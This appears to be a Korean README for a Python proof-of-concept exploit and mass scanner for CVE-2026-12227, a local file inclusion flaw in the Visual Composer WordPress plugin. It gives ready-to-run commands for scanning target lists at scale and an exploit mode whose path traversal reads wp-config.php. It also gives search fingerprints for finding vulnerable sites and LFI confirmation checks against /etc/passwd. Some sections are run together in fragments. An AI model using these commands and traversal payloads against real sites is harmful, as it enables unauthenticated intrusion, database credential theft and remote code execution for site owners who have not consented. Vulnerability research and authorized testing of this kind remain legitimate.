
WordPress Visual Composer Website Builder의 vcv-template 파라미터를 통한 인증되지 않은 로컬 파일 포함 취약점인 CVE-2026-12227에 대한 Python 3 PoC 및 스캐너입니다.
CVE-2026-12227 (Wordfence)에 대한 Python 3 PoC: Visual Composer Website Builder(wordpress.org의 visualcomposer)의 vcv-template 쿼리 파라미터를 통한 로컬 파일 포함(Local File Inclusion).
| 플랫폼 | WordPress 플러그인 |
| 구성 요소 | Visual Composer Website Builder |
| 영향 받는 버전 | ≤ 45.16.0 |
| 수정된 버전 | > 45.16.0 (WP Trac 3619572) — 최신 안정 버전 사용 (예: 45.16.3+) |
| CVSS | 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 인증 | 인증 불필요 |
| CWE | CWE-98 |
| 아님 | WPBakery (js_composer) 또는 SAP NetWeaver Visual Composer |
취약한 버전에서는 공개 페이지 로드 시 PageTemplatesController 내부의 WordPress template_include 처리 중 공격자가 제어하는 vcv-template(**vcv-template-type**과 함께)이 적용됩니다. 이를 통해 공격자가 선택한 디스크 상의 파일을 포함할 수 있으며, PHP 파일은 실행될 수 있습니다(RCE). Wordfence는 일부 환경에서 업로드된 "안전한" 확장자와의 연계 가능성을 언급합니다.
?vcv-template-type=vc&vcv-template=blank 또는 vcv-template 하위의 LFI 경로.vcv-template-type, vcv-template-stretched.pip install -r requirements.txt
Python 3.8+.
# Version + plugin + VC page crawl + template/LFI probes
python poc.py -u https://target.example --mode check
# Known VC landing page
python poc.py -u https://target.example --mode check --page-url /
# Mass scan
python poc.py --list targets.example.txt --mode check --threads 25 --quiet
# Custom include path (authorized testing only)
python poc.py -u https://target.example --mode exploit --page-url / --file ../../../../../../wp-config.php
# JSON for scripting
python poc.py -u https://target.example --mode check --json
| 파일 | 의미 |
|---|---|
cve_2026_12227_results.jsonl | 대상별 전체 JSON |
hits.txt | 후보 호스트명 |
candidates.jsonl | check 모드 요약 (page_url, status, lfi) |
| 상태 | 의미 |
|---|---|
lfi_confirmed | 응답이 wp-config / /etc/passwd / version.php 휴리스틱과 일치 |
vcv_template_controllable | vcv-template=blank가 기준선 대비 레이아웃을 변경(취약 파라미터가 적용됨) |
plugin_vuln_no_surface | 오래된 플러그인 버전이지만 VC 페이지가 없거나 파라미터가 무시됨 |
no_vc_page | 플러그인은 존재하나 크롤링된 경로에 VC 마커가 없음 |
patched | 버전 > 45.16.0 |
body="/wp-content/plugins/visualcomposer/"
body="data-vcv-" && body="wp-content"
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php (getCurrentTemplateLayout, viewPageTemplate).exploitable_candidate로 처리합니다. RCE로 단정하기 전에 스테이징 클론에서 확인하십시오.본인이 소유하거나 명시적 테스트 허가를 받은 시스템에서만 사용하십시오.